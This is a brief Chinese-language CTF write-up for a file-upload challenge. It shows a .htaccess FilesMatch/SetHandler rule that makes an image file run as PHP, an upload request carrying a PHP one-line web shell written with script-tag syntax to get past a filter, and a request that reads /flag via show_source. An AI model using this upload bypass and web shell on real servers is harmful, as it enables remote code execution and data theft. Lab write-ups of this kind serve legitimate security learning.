看名字就知道考的是文件上传。用到了老生常谈的姿势 .htaccess 配置 文件。怕自己忘记了就再记录一下。
抓包,别忘记修改Content-Type:
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
再继续上传1.jpg。因为过滤了“<?”,所以不能上传普通的一句话。
Content-Disposition: form-data; name="uploaded"; filename="1.jpg" Content-Type: image/jpeg <script language='php'>assert($_REQUEST['root'])</script>
可以这么访问:
过滤了很多函数,虽然不能执行sytem,但是可以执行show_source。
root=show_source("/flag")